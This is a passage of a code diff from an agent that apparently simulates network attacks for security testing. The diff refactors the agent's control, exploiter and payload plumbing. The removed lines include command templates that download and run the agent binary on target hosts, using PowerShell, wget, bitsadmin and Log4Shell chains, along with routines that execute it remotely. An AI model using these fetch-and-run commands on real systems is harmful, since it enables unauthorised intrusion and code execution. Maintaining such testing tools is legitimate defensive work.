logger.error("Unknown target's os type. Skipping.") - return False - - dropper_target_path = self.monkey_target_paths[self.host.operating_system] - # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer( - self.host, self.agent_binary_repository, self.tcp_port_selector - ) - if not http_path: - logger.debug("Exploiter failed, http transfer creation failed.") - return False - logger.info("Started http server on %s", http_path) - # Choose command: - if not commands: - commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD} - command = self.get_command(dropper_target_path, http_path, commands) - resp = self.exploit(url, command) - self.add_executed_cmd(command) - resp = self.run_backup_commands(resp, url, dropper_target_path, http_path) - - http_thread.join(DOWNLOAD_TIMEOUT) - http_thread.stop() - logger.info("Uploading process finished") - # If response is false exploiter failed - if resp is False: - return resp - else: - return {"response": resp, "path": dropper_target_path} - - def change_permissions(self, url, path, command=None): - """ - Method for linux hosts. Makes monkey executable - :param url: Where to send malicious packets - :param path: Path to monkey on remote host - :param command: Formatted command for permission change or None - :return: response, False if failed and True if permission change is not needed - """ - logger.info("Changing monkey's permissions") - if OperatingSystem.WINDOWS == self.host.operating_system: - logger.info("Permission change not required for windows") - return True - if not command: - command = CHMOD_MONKEY % {"monkey_path": path} - try: - resp = self.exploit(url, command) - except Exception as e: - logger.error("Something went wrong while trying to change permission: %s" % e) - return False - # If exploiter returns True / False - if isinstance(resp, bool): - logger.info("Permission change finished") - return resp - # If exploiter returns command output, we can check for execution errors - if "Operation not permitted" in resp: - logger.error("Missing permissions to make monkey executable") - return False - elif "No such file or directory" in resp: - logger.error( - "Could not change permission because monkey was not found. Check path " "parameter." - ) - return False - logger.info("Permission change finished") - return resp - - def execute_remote_monkey(self, url, path, dropper=False): - """ - This method executes remote monkey - :param url: Where to send malicious packets - :param path: Path to monkey on remote host - :param dropper: Should remote monkey be executed with dropper or with monkey arg? - :return: Response or False if failed - """ - logger.info("Trying to execute remote monkey") - # Get monkey command line - if dropper and path: - # If dropper is chosen we try to move monkey to default location - default_path = self.get_default_dropper_path() - if default_path is False: - return False - monkey_cmd = build_monkey_commandline( - self.agent_id, self.servers, self.current_depth + 1, default_path - ) - command = RUN_MONKEY % { - "monkey_path": path, - "monkey_type": DROPPER_ARG, - "parameters": monkey_cmd, - } - else: - monkey_cmd = build_monkey_commandline( - self.agent_id, self.servers, self.current_depth + 1 - ) - command = RUN_MONKEY % { - "monkey_path": path, - "monkey_type": MONKEY_ARG, - "parameters": monkey_cmd, - } - try: - logger.info("Trying to execute monkey using command: {}".format(command)) - resp = self.exploit(url, command) - # If exploiter returns True / False - if isinstance(resp, bool): - logger.info("Execution attempt successfully finished") - self.add_executed_cmd(command) - return resp - # If exploiter returns command output, we can check for execution errors - if "is not recognized" in resp or "command not found" in resp: - logger.error("Wrong path chosen or other process already deleted monkey") - return False - elif "The system cannot execute" in resp: - logger.error("System could not execute monkey") - return False - except Exception as e: - logger.error("Something went wrong when trying to execute remote monkey: %s" % e) - return False - logger.info("Execution attempt finished") - - self.add_executed_cmd(command) - return resp - - def get_default_dropper_path(self): - """ - Gets default dropper path for the host. - :return: Default monkey's destination path for corresponding host or False if failed. - """ - if not self.host.operating_system or ( - self.host.operating_system != OperatingSystem.LINUX - and self.host.operating_system != OperatingSystem.WINDOWS - ): - logger.error("Target's OS was either unidentified or not supported. Aborting") - return False - if self.host.operating_system == OperatingSystem.LINUX: - return DROPPER_TARGET_PATH_LINUX - if self.host.operating_system == OperatingSystem.WINDOWS: - return DROPPER_TARGET_PATH_WIN64 - - def get_target_url(self): - """ - This method allows "configuring" the way in which a vulnerable URL is picked. - If the same URL should be used - always return the first. - Otherwise - implement your own. - :return: a vulnerable URL - """ - return self.vulnerable_urls[0] diff --git a/monkey/infection_monkey/i_control_channel.py b/monkey/infection_monkey/i_control_channel.py deleted file mode 100644 index 25135231fba..00000000000 --- a/monkey/infection_monkey/i_control_channel.py +++ /dev/null @@ -1,36 +0,0 @@ -import abc -from typing import Sequence - -from common.agent_configuration import AgentConfiguration -from common.credentials import Credentials - - -class IControlChannel(metaclass=abc.ABCMeta): - @abc.abstractmethod - def should_agent_stop(self) -> bool: - """ - Checks if the agent should stop - return: True if the agent should stop, False otherwise - rtype: bool - """ - - @abc.abstractmethod - def get_config(self) -> AgentConfiguration: - """ - :return: An AgentConfiguration object - :rtype: AgentConfiguration - """ - pass - - @abc.abstractmethod - def get_credentials_for_propagation(self) -> Sequence[Credentials]: - """ - Get credentials to use during propagation - - :return: A Sequence containing propagation credentials data - """ - pass - - -class IslandCommunicationError(Exception): - """Raise when unable to connect to control client""" diff --git a/monkey/infection_monkey/i_puppet/__init__.py b/monkey/infection_monkey/i_puppet/__init__.py index b0e974aaa1a..2c09339197d 100644 --- a/monkey/infection_monkey/i_puppet/__init__.py +++ b/monkey/infection_monkey/i_puppet/__init__.py @@ -1,7 +1,7 @@ from .ping_scan_data import PingScanData from .port_scan_data import PortScanData -from .exploiter_result_data import ExploiterResultData -from .fingerprint_data import DiscoveredService, FingerprintData +from .exploiter_result import ExploiterResult +from .fingerprint_data import FingerprintData from .i_puppet import ( IPuppet, UnknownPluginError, @@ -10,4 +10,5 @@ IncompatibleTargetOperatingSystemError, ) from .i_fingerprinter import IFingerprinter +from .payload_result import PayloadResult from .target_host import TargetHost, TargetHostPorts, PortScanDataDict diff --git a/monkey/infection_monkey/i_puppet/exploiter_result_data.py b/monkey/infection_monkey/i_puppet/exploiter_result.py similarity index 89% rename from monkey/infection_monkey/i_puppet/exploiter_result_data.py rename to monkey/infection_monkey/i_puppet/exploiter_result.py index dc35d099023..cd686eb6006 100644 --- a/monkey/infection_monkey/i_puppet/exploiter_result_data.py +++ b/monkey/infection_monkey/i_puppet/exploiter_result.py @@ -3,7 +3,7 @@ @dataclass -class ExploiterResultData: +class ExploiterResult: exploitation_success: bool = False propagation_success: bool = False os: str = "" diff --git a/monkey/infection_monkey/i_puppet/fingerprint_data.py b/monkey/infection_monkey/i_puppet/fingerprint_data.py index 3ed15fda125..eaf9aa379a1 100644 --- a/monkey/infection_monkey/i_puppet/fingerprint_data.py +++ b/monkey/infection_monkey/i_puppet/fingerprint_data.py @@ -2,16 +2,7 @@ from common import OperatingSystem from common.base_models import InfectionMonkeyBaseModel -from common.types import NetworkPort, NetworkProtocol, NetworkService - - -class DiscoveredService(InfectionMonkeyBaseModel): - protocol: NetworkProtocol - port: NetworkPort - service: NetworkService - - def __hash__(self) -> int: - return hash((self.protocol, self.port)) +from common.types import DiscoveredService class FingerprintData(InfectionMonkeyBaseModel): diff --git a/monkey/infection_monkey/i_puppet/i_puppet.py b/monkey/infection_monkey/i_puppet/i_puppet.py index 7ca733f7a9c..767f4218170 100644 --- a/monkey/infection_monkey/i_puppet/i_puppet.py +++ b/monkey/infection_monkey/i_puppet/i_puppet.py @@ -5,7 +5,7 @@ from common.credentials import Credentials from common.types import Event, NetworkPort -from . import ExploiterResultData, FingerprintData, PingScanData +from . import ExploiterResult, FingerprintData, PingScanData from .target_host import PortScanDataDict, TargetHost @@ -104,7 +104,7 @@ def exploit_host( servers: Sequence[str], options: Mapping, interrupt: Event, - ) -> ExploiterResultData: + ) -> ExploiterResult: """ Runs an exploiter against a remote host diff --git a/monkey/infection_monkey/i_puppet/payload_result.py b/monkey/infection_monkey/i_puppet/payload_result.py new file mode 100644 index 00000000000..d18896268db --- /dev/null +++ b/monkey/infection_monkey/i_puppet/payload_result.py @@ -0,0 +1,7 @@ +from dataclasses import dataclass + + +@dataclass +class PayloadResult: + success: bool = False + error_message: str = "" diff --git a/monkey/infection_monkey/island_api_client/configuration_validator_decorator.py b/monkey/infection_monkey/island_api_client/configuration_validator_decorator.py index 71a2f03296c..cf2d4df6f47 100644 --- a/monkey/infection_monkey/island_api_client/configuration_validator_decorator.py +++ b/monkey/infection_monkey/island_api_client/configuration_validator_decorator.py @@ -79,3 +79,6 @@ def send_heartbeat(self, timestamp: float): def send_log(self, log_contents: str): return self._island_api_client.send_log(log_contents) + + def terminate_signal_is_set(self) -> bool: + return self._island_api_client.terminate_signal_is_set() diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client.py b/monkey/infection_monkey/island_api_client/http_island_api_client.py index ae6fba4c615..0d86ff06038 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client.py @@ -228,3 +228,7 @@ def send_log(self, log_contents: str): f"/agent-logs/{self._agent_id}", log_contents, ) + + def terminate_signal_is_set(self) -> bool: + agent_signals = self.get_agent_signals() + return agent_signals.terminate is not None diff --git a/monkey/infection_monkey/island_api_client/i_island_api_client.py b/monkey/infection_monkey/island_api_client/i_island_api_client.py index 0d7a99a3dbf..6fc346f2a49 100644 --- a/monkey/infection_monkey/island_api_client/i_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/i_island_api_client.py @@ -247,3 +247,20 @@ def send_log(self, log_contents: str): :raises IslandAPIError: If an unexpected error occurs while attempting to send the contents of the agent's log to the island """ + + @abstractmethod + def terminate_signal_is_set(self) -> bool: + """ + Checks if the agent's terminate signal is set + + :raises IslandAPIAuthenticationError: If the client is not authorized to access this + endpoint + :raises IslandAPIConnectionError: If the client cannot successfully connect to the island + :raises IslandAPIRequestError: If an error occurs while attempting to connect to the + island due to an issue in the request sent from the client + :raises IslandAPIRequestFailedError: If an error occurs while attempting to connect to the + island due to an error on the server + :raises IslandAPITimeoutError: If a timeout occurs while attempting to connect to the island + :raises IslandAPIError: If an unexpected error occurs while attempting to send the + contents of the agent's log to the island + """ diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index 9cf58b505d3..ae6cee318c6 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -18,6 +18,8 @@ from pathlib import Path from typing import Sequence, Tuple, Union +from psutil import Process + # dummy import for pyinstaller # noinspection PyUnresolvedReferences from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE @@ -160,11 +162,11 @@ def _run_agent( logger.info(f"version: {get_version()}") monkey: Union[InfectionMonkey, MonkeyDrops] - if MONKEY_ARG == mode: + if mode == MONKEY_ARG: monkey = InfectionMonkey( mode_specific_args, ipc_logger_queue=ipc_logger_queue, log_path=log_path ) - elif DROPPER_ARG == mode: + elif mode == DROPPER_ARG: monkey = MonkeyDrops(mode_specific_args) try: @@ -179,6 +181,45 @@ def _run_agent( logger.exception( "Exception thrown from monkey's cleanup function: More info: {}".format(err) ) + finally: + if mode == MONKEY_ARG: + _kill_hung_child_processes(logger) + + +def _kill_hung_child_processes(logger: logging.Logger): + for p in Process().children(recursive=True): + logger.debug( + "Found child process: " + f"pid={p.pid}, name={p.name()}, status={p.status()}, cmdline={p.cmdline()}" + ) + + if _process_is_resource_tracker(p): + # This process will clean itself up, but no other processes should be running at + # this time. + logger.debug(f"Ignoring resource_tracker process: {p.pid}") + continue + + if _process_is_windows_self_removal(p): + logger.debug(f"Ignoring self removal process: {p.pid}") + continue + + logger.warning(f"Killing hung child process: {p.pid}") + p.kill() + + +def _process_is_resource_tracker(process: Process) -> bool: + for arg in process.cmdline(): + if "multiprocessing.resource_tracker" in arg: + return True + + return False + + +def _process_is_windows_self_removal(process: Process) -> bool: + if process.name() in ["cmd.exe", "timeout.exe"]: + return True + + return False if "__main__" == __name__: diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 8c9afbb0c3e..56d1f31d6f6 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -6,12 +6,9 @@ from egg_timer import EggTimer -from infection_monkey.i_control_channel import IControlChannel, IslandCommunicationError from infection_monkey.i_master import IMaster from infection_monkey.i_puppet import IPuppet, RejectedRequestError -from infection_monkey.propagation_credentials_repository import ( - ILegacyPropagationCredentialsRepository, -) +from infection_monkey.island_api_client import IIslandAPIClient, IslandAPIError from infection_monkey.utils.propagation import maximum_depth_reached from infection_monkey.utils.threading import create_daemon_thread, interruptible_iter @@ -19,7 +16,7 @@ CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC = 5 CHECK_FOR_TERMINATE_INTERVAL_SEC = CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC / 5 -SHUTDOWN_TIMEOUT = 5 +SHUTDOWN_TIMEOUT = 60 NUM_SCAN_THREADS = 16 NUM_EXPLOIT_THREADS = 6 @@ -32,18 +29,17 @@ def __init__( current_depth: Optional[int], servers: Sequence[str], puppet: IPuppet, - control_channel: IControlChannel, + island_api_client: IIslandAPIClient, local_network_interfaces: List[IPv4Interface], - credentials_store: ILegacyPropagationCredentialsRepository, ): self._current_depth = current_depth self._servers = servers self._puppet = puppet - self._control_channel = control_channel + self._island_api_client = island_api_client ip_scanner = IPScanner(self._puppet, NUM_SCAN_THREADS) - exploiter = Exploiter(self._puppet, NUM_EXPLOIT_THREADS, credentials_store.get_credentials) + exploiter = Exploiter(self._puppet, NUM_EXPLOIT_THREADS) self._propagator = Propagator( ip_scanner, exploiter, @@ -107,12 +103,12 @@ def _wait_for_master_stop_condition(self): def _check_for_stop(self): try: - stop = self._control_channel.should_agent_stop() + stop = self._island_api_client.terminate_signal_is_set() if stop: - logger.info('Received the "stop" signal from the Island') + logger.info("Received the terminate signal from the Island") self._stop.set() - except IslandCommunicationError as e: - logger.error(f"An error occurred while trying to check for agent stop: {e}") + except IslandAPIError as e: + logger.error(f"An error occurred while trying to check for the terminate signal: {e}") self._stop.set() def _master_thread_should_run(self): @@ -120,8 +116,8 @@ def _master_thread_should_run(self): def _run_simulation(self): try: - config = self._control_channel.get_config() - except IslandCommunicationError as e: + config = self._island_api_client.get_config() + except IslandAPIError as e: logger.error(f"An error occurred while fetching configuration: {e}") return diff --git a/monkey/infection_monkey/master/control_channel.py b/monkey/infection_monkey/master/control_channel.py deleted file mode 100644 index 8bafb00306c..00000000000 --- a/monkey/infection_monkey/master/control_channel.py +++ /dev/null @@ -1,47 +0,0 @@ -import logging -from functools import wraps -from typing import Sequence - -from urllib3 import disable_warnings - -from common.agent_configuration import AgentConfiguration -from common.credentials import Credentials -from infection_monkey.i_control_channel import IControlChannel, IslandCommunicationError -from infection_monkey.island_api_client import IIslandAPIClient, IslandAPIError - -disable_warnings() # noqa: DUO131 - -logger = logging.getLogger(__name__) - - -def handle_island_api_errors(func): - @wraps(func) - def wrapper(*args, **kwargs): - try: - return func(*args, **kwargs) - except IslandAPIError as err: - raise IslandCommunicationError(err) - - return wrapper - - -class ControlChannel(IControlChannel): - def __init__(self, server: str, api_client: IIslandAPIClient): - self._control_channel_server = server - self._island_api_client = api_client - - @handle_island_api_errors - def should_agent_stop(self) -> bool: - if not self._control_channel_server: - logger.error("Agent should stop because it can't connect to the C&C server.") - return True - agent_signals = self._island_api_client.get_agent_signals() - return agent_signals.terminate is not None - - @handle_island_api_errors - def get_config(self) -> AgentConfiguration: - return self._island_api_client.get_config() - - @handle_island_api_errors - def get_credentials_for_propagation(self) -> Sequence[Credentials]: - return self._island_api_client.get_credentials_for_propagation() diff --git a/monkey/infection_monkey/master/exploiter.py b/monkey/infection_monkey/master/exploiter.py index eeabb69d19d..775791a5820 100644 --- a/monkey/infection_monkey/master/exploiter.py +++ b/monkey/infection_monkey/master/exploiter.py @@ -6,8 +6,7 @@ from common.agent_configuration.agent_sub_configurations import ExploitationConfiguration from common.types import Event -from infection_monkey.custom_types import PropagationCredentials -from infection_monkey.i_puppet import ExploiterResultData, IPuppet, RejectedRequestError, TargetHost +from infection_monkey.i_puppet import ExploiterResult, IPuppet, RejectedRequestError, TargetHost from infection_monkey.utils.threading import interruptible_iter, run_worker_threads QUEUE_TIMEOUT = 2 @@ -15,11 +14,7 @@ logger = logging.getLogger() ExploiterName = str -Callback = Callable[[ExploiterName, TargetHost, ExploiterResultData], None] - -HARD_CODED_EXPLOITERS_REQUIRING_CREDENTIALS = [ - "SSHExploiter", -] +Callback = Callable[[ExploiterName, TargetHost, ExploiterResult], None] class Exploiter: @@ -27,11 +22,9 @@ def __init__( self, puppet: IPuppet, num_workers: int, - get_updated_credentials_for_propagation: Callable[[], PropagationCredentials], ): self._puppet = puppet self._num_workers = num_workers - self._get_updated_credentials_for_propagation = get_updated_credentials_for_propagation def exploit_hosts( self, @@ -142,16 +135,9 @@ def _run_exploiter( current_depth: int, servers: Sequence[str], stop: Event, - ) -> ExploiterResultData: + ) -> ExploiterResult: logger.debug(f"Attempting to use {exploiter_name} on {target_host.ip}") - # Hard-coded exploiters use the legacy method of retrieving credentials. - # Exploiter plugins will obtain credentials via a PropagationCredentialsRepository - # passed into the plugin constructor - if exploiter_name in HARD_CODED_EXPLOITERS_REQUIRING_CREDENTIALS: - credentials = self._get_credentials_for_propagation() - options = {"credentials": credentials, **options} - try: return self._puppet.exploit_host( exploiter_name, target_host, current_depth, servers, options, stop @@ -166,18 +152,10 @@ def _run_exploiter( ) logger.error(msg) logger.exception(err) - return ExploiterResultData( + return ExploiterResult( exploitation_success=False, propagation_success=False, error_message=msg ) - def _get_credentials_for_propagation(self) -> PropagationCredentials: - try: - return self._get_updated_credentials_for_propagation() - except Exception as ex: - logger.error(f"Error while attempting to retrieve credentials for propagation: {ex}") - - return {} - def _all_hosts_have_been_processed(scan_completed: threading.Event, hosts_to_exploit: Queue): return scan_completed.is_set() and hosts_to_exploit.empty() diff --git a/monkey/infection_monkey/master/propagator.py b/monkey/infection_monkey/master/propagator.py index c73a47d0f02..b741b4f043c 100644 --- a/monkey/infection_monkey/master/propagator.py +++ b/monkey/infection_monkey/master/propagator.py @@ -10,10 +10,16 @@ PropagationConfiguration, ScanTargetConfiguration, ) -from common.types import Event, NetworkPort, NetworkProtocol, NetworkService, PortStatus -from infection_monkey.i_puppet import ( +from common.types import ( DiscoveredService, - ExploiterResultData, + Event, + NetworkPort, + NetworkProtocol, + NetworkService, + PortStatus, +) +from infection_monkey.i_puppet import ( + ExploiterResult, FingerprintData, PingScanData, PortScanData, @@ -221,7 +227,7 @@ def _exploit_hosts( logger.info("Finished exploiting victims") def _process_exploit_attempts( - self, exploiter_name: str, host: TargetHost, result: ExploiterResultData + self, exploiter_name: str, host: TargetHost, result: ExploiterResult ): if result.propagation_success: logger.info(f"Successfully propagated to {host.ip} using {exploiter_name}") diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 4ce9e9f287a..61b21c4da98 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -1,6 +1,5 @@ MONKEY_ARG = "m0nk3y" DROPPER_ARG = "dr0pp3r" -ID_STRING = "M0NK3Y3XPL0ITABLE" SET_OTP_WINDOWS = "set %(agent_otp_environment_variable)s=%(agent_otp)s&" @@ -9,32 +8,4 @@ CMD_CARRY_OUT = "/c" CMD_PREFIX = CMD_EXE + " " + CMD_CARRY_OUT - -# Commands used for downloading monkeys -POWERSHELL_HTTP_UPLOAD = ( - "powershell -NoLogo -Command \"Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(" - "monkey_path)s' -UseBasicParsing\" " -) -WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s" -BITSADMIN_CMDLINE_HTTP = ( - "bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s" -) -CHMOD_MONKEY = "chmod +x %(monkey_path)s" RUN_MONKEY = "%(monkey_path)s %(monkey_type)s %(parameters)s" -# Commands used to check for architecture and if machine is exploitable -CHECK_COMMAND = "echo %s" % ID_STRING - -LOG4SHELL_LINUX_COMMAND = ( - "wget -O %(monkey_path)s %(http_path)s ;" - "chmod +x %(monkey_path)s ;" - " %(agent_otp_environment_variable)s=%(agent_otp)s " - " %(monkey_path)s %(monkey_type)s %(parameters)s" -) - -LOG4SHELL_WINDOWS_COMMAND = ( - 'powershell -NoLogo -Command "' - "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing; " - "$env:%(agent_otp_environment_variable)s='%(agent_otp)s' ; " - '%(monkey_path)s %(monkey_type)s %(parameters)s"' -) -DOWNLOAD_TIMEOUT = 180 diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 673c2adfb5d..b077b165b89 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -17,7 +17,7 @@ from serpentarium import PluginLoader, PluginThreadName from serpentarium.logging import configure_child_process_logger -from common import HARD_CODED_EXPLOITER_MANIFESTS, OperatingSystem +from common import OperatingSystem from common.agent_event_serializers import ( AgentEventSerializerRegistry, register_common_agent_event_serializers, @@ -47,22 +47,25 @@ ) from infection_monkey.exploit import ( CachingAgentBinaryRepository, - ExploiterWrapper, IAgentBinaryRepository, IslandAPIAgentOTPProvider, PolymorphicAgentBinaryRepositoryDecorator, ) -from infection_monkey.exploit.log4shell import Log4ShellExploiter -from infection_monkey.exploit.sshexec import SSHExploiter +from infection_monkey.exploit.http_agent_binary_request_handler import ThreadingHTTPHandlerFactory +from infection_monkey.exploit.http_agent_binary_server import HTTPAgentBinaryServer +from infection_monkey.exploit.http_agent_binary_server_factory import HTTPAgentBinaryServerFactory +from infection_monkey.exploit.http_agent_binary_server_registrar import ( + HTTPAgentBinaryServerRegistrar, +) from infection_monkey.i_master import IMaster from infection_monkey.i_puppet import IPuppet from infection_monkey.island_api_client import ( HTTPIslandAPIClientFactory, IIslandAPIClient, IslandAPIAuthenticationError, + IslandAPIError, ) from infection_monkey.master import AutomatedMaster -from infection_monkey.master.control_channel import ControlChannel from infection_monkey.network import TCPPortSelector from infection_monkey.network.firewall import app as firewall from infection_monkey.network.relay import TCPRelay @@ -76,16 +79,13 @@ from infection_monkey.network_scanning.mssql_fingerprinter import MSSQLFingerprinter from infection_monkey.network_scanning.smb_fingerprinter import SMBFingerprinter from infection_monkey.network_scanning.ssh_fingerprinter import SSHFingerprinter -from infection_monkey.payload.ransomware.ransomware_payload import RansomwarePayload from infection_monkey.plugin.credentials_collector_plugin_factory import ( CredentialsCollectorPluginFactory, ) from infection_monkey.plugin.exploiter_plugin_factory import ExploiterPluginFactory from infection_monkey.plugin.multiprocessing_plugin_wrapper import MultiprocessingPluginWrapper -from infection_monkey.propagation_credentials_repository import ( - AggregatingPropagationCredentialsRepository, - PropagationCredentialsRepository, -) +from infection_monkey.plugin.payload_plugin_factory import PayloadPluginFactory +from infection_monkey.propagation_credentials_repository import PropagationCredentialsRepository from infection_monkey.puppet import ( PluginCompatibilityVerifier, PluginRegistry, @@ -142,8 +142,11 @@ def __init__(self, args, ipc_logger_queue: multiprocessing.Queue, log_path: Path SyncManager.register( "HTTPIslandAPIClient", http_island_api_client_factory.create_island_api_client ) + SyncManager.register( + "HTTPAgentBinaryServerFactory", HTTPAgentBinaryServerFactory, exposed=("__call__",) + ) + SyncManager.register("TCPPortSelector", TCPPortSelector) self._manager = context.Manager() - self._plugin_dir = ( Path(gettempdir()) / f"infection_monkey_plugins_{self._agent_id}_{secure_generate_random_string(n=20)}" @@ -153,10 +156,6 @@ def __init__(self, args, ipc_logger_queue: multiprocessing.Queue, log_path: Path self._operating_system = get_os() - self._control_channel = ControlChannel(str(self._island_address), self._island_api_client) - self._legacy_propagation_credentials_repository = ( - AggregatingPropagationCredentialsRepository(self._control_channel) - ) self._propagation_credentials_repository = PropagationCredentialsRepository( self._island_api_client, self._manager ) @@ -167,7 +166,7 @@ def __init__(self, args, ipc_logger_queue: multiprocessing.Queue, log_path: Path self._current_depth = self._opts.depth self._master: Optional[IMaster] = None self._relay: Optional[TCPRelay] = None - self._tcp_port_selector = TCPPortSelector(context, self._manager) + self._tcp_port_selector = self._manager.TCPPortSelector() # type: ignore[attr-defined] def _calculate_agent_sha256_hash(self) -> str: sha256 = "0" * 64 @@ -284,8 +283,7 @@ def start(self): # This check must be done after the agent event forwarder is started, otherwise the agent # will be unable to send a shutdown event to the Island. - should_stop = self._control_channel.should_agent_stop() - if should_stop: + if self._island_api_client.terminate_signal_is_set(): logger.info("The Monkey Island has instructed this agent to stop") return @@ -334,7 +332,7 @@ def _setup(self, operating_system: OperatingSystem): if firewall.is_enabled(): firewall.add_firewall_rule() - config = self._control_channel.get_config() + config = self._island_api_client.get_config() relay_port = self._tcp_port_selector.get_free_tcp_port() if relay_port is None: @@ -378,9 +376,8 @@ def _build_master(self, servers: Sequence[str], operating_system: OperatingSyste self._current_depth, servers, puppet, - self._control_channel, + self._island_api_client, local_network_interfaces, - self._legacy_propagation_credentials_repository, ) def _build_server_list(self, relay_port: Optional[NetworkPort]) -> Sequence[str]: @@ -412,12 +409,19 @@ def _build_puppet(self, operating_system: OperatingSystem) -> IPuppet: reset_modules_cache=False, main_thread_name=PluginThreadName.CALLING_THREAD, ) + + http_agent_binary_server = self._build_http_agent_binary_server(agent_binary_repository) + http_agent_binary_server_registrar = HTTPAgentBinaryServerRegistrar( + http_agent_binary_server + ) + plugin_factories = { AgentPluginType.CREDENTIALS_COLLECTOR: CredentialsCollectorPluginFactory( self._agent_id, self._agent_event_publisher, create_plugin ), AgentPluginType.EXPLOITER: ExploiterPluginFactory( self._agent_id, + http_agent_binary_server_registrar, agent_binary_repository, self._agent_event_publisher, self._propagation_credentials_repository, @@ -425,6 +429,9 @@ def _build_puppet(self, operating_system: OperatingSystem) -> IPuppet: otp_provider, create_plugin, ), + AgentPluginType.PAYLOAD: PayloadPluginFactory( + self._agent_id, self._agent_event_publisher, self._island_address, create_plugin + ), } plugin_registry = PluginRegistry( operating_system, @@ -435,38 +442,30 @@ def _build_puppet(self, operating_system: OperatingSystem) -> IPuppet: plugin_compatibility_verifier = PluginCompatibilityVerifier( self._island_api_client, self._operating_system, - HARD_CODED_EXPLOITER_MANIFESTS, ) puppet = Puppet( self._agent_event_queue, plugin_registry, plugin_compatibility_verifier, self._agent_id ) - puppet.load_plugin(AgentPluginType.FINGERPRINTER, "http", HTTPFingerprinter()) - puppet.load_plugin(AgentPluginType.FINGERPRINTER, "mssql", MSSQLFingerprinter()) - puppet.load_plugin(AgentPluginType.FINGERPRINTER, "smb", SMBFingerprinter()) - puppet.load_plugin(AgentPluginType.FINGERPRINTER, "ssh", SSHFingerprinter()) - - exploit_wrapper = ExploiterWrapper( - self._agent_id, - self._agent_event_queue, - agent_binary_repository, - self._tcp_port_selector, - otp_provider, + puppet.load_plugin( + AgentPluginType.FINGERPRINTER, + "http", + HTTPFingerprinter(self._agent_id, self._agent_event_publisher), ) - puppet.load_plugin( - AgentPluginType.EXPLOITER, - "Log4ShellExploiter", - exploit_wrapper.wrap(Log4ShellExploiter), + AgentPluginType.FINGERPRINTER, + "mssql", + MSSQLFingerprinter(self._agent_id, self._agent_event_publisher), ) puppet.load_plugin( - AgentPluginType.EXPLOITER, "SSHExploiter", exploit_wrapper.wrap(SSHExploiter) + AgentPluginType.FINGERPRINTER, + "smb", + SMBFingerprinter(self._agent_id, self._agent_event_publisher), ) - puppet.load_plugin( - AgentPluginType.PAYLOAD, - "ransomware", - RansomwarePayload(self._agent_event_queue, self._agent_id), + AgentPluginType.FINGERPRINTER, + "ssh", + SSHFingerprinter(self._agent_id, self._agent_event_publisher), ) return puppet @@ -485,12 +484,21 @@ def _build_agent_binary_repository(self) -> IAgentBinaryRepository: return agent_binary_repository + def _build_http_agent_binary_server( + self, agent_binary_repository: IAgentBinaryRepository + ) -> HTTPAgentBinaryServer: + server_factory = self._manager.HTTPAgentBinaryServerFactory( # type: ignore[attr-defined] + self._tcp_port_selector, + agent_binary_repository, + ThreadingHTTPHandlerFactory, + ) + return server_factory() + def _subscribe_events(self): self._agent_event_queue.subscribe_type( CredentialsStolenEvent, add_stolen_credentials_to_propagation_credentials_repository( self._propagation_credentials_repository, - self._legacy_propagation_credentials_repository, ), ) @@ -544,14 +552,20 @@ def cleanup(self): logger.info("Agent is shutting down") def _stop_relay(self): - if self._relay and self._relay.is_alive(): - self._relay.stop() + if not self._relay or not self._relay.is_alive(): + return + + self._relay.stop() - while self._relay.is_alive() and not self._control_channel.should_agent_stop(): + try: + while self._relay.is_alive() and not self._island_api_client.terminate_signal_is_set(): self._relay.join(timeout=5) - if self._control_channel.should_agent_stop(): + if self._island_api_client.terminate_signal_is_set(): self._relay.join(timeout=60) + except IslandAPIError as err: + logger.warning(f"Error communicating with the Island: {err}") + self._relay.join(timeout=60) def _publish_agent_shutdown_event(self): agent_shutdown_event = AgentShutdownEvent(source=self._agent_id, timestamp=time.time()) diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index e1e1f930eff..8f741ead1e2 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -67,7 +67,9 @@ def get_hidden_imports(): # `cryptography.hazmat.primitives.padding`, pyinstaller will not include it unless we # explicitly tell it to. Once the remainder of the exploiters (SSH and Log4Shell) are migrated # to plugins, we can attempt to remove the cryptography dependency from the agent entirely. - imports = ['_cffi_backend', '_mssql', 'asyncore', 'logging.config', 'cryptography.hazmat.primitives.padding', 'xml.dom'] + # UPDATE: We can't remove the dependency entirely as doing so causes the Agent to crash. + # See https://github.com/guardicore/monkey/issues/3170#issuecomment-1623503645. + imports = ['_cffi_backend', '_mssql', 'asyncore', 'logging.config', 'cryptography.hazmat.primitives.padding', 'xml.dom', 'timeit', 'sqlite3'] if is_windows(): imports.append('queue') imports.append('pkg_resources.py2_warn') diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index d009ab4cd10..d2736ddb465 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -1,10 +1,10 @@ import socket import struct +import threading from dataclasses import dataclass -from multiprocessing.context import BaseContext -from multiprocessing.managers import DictProxy, 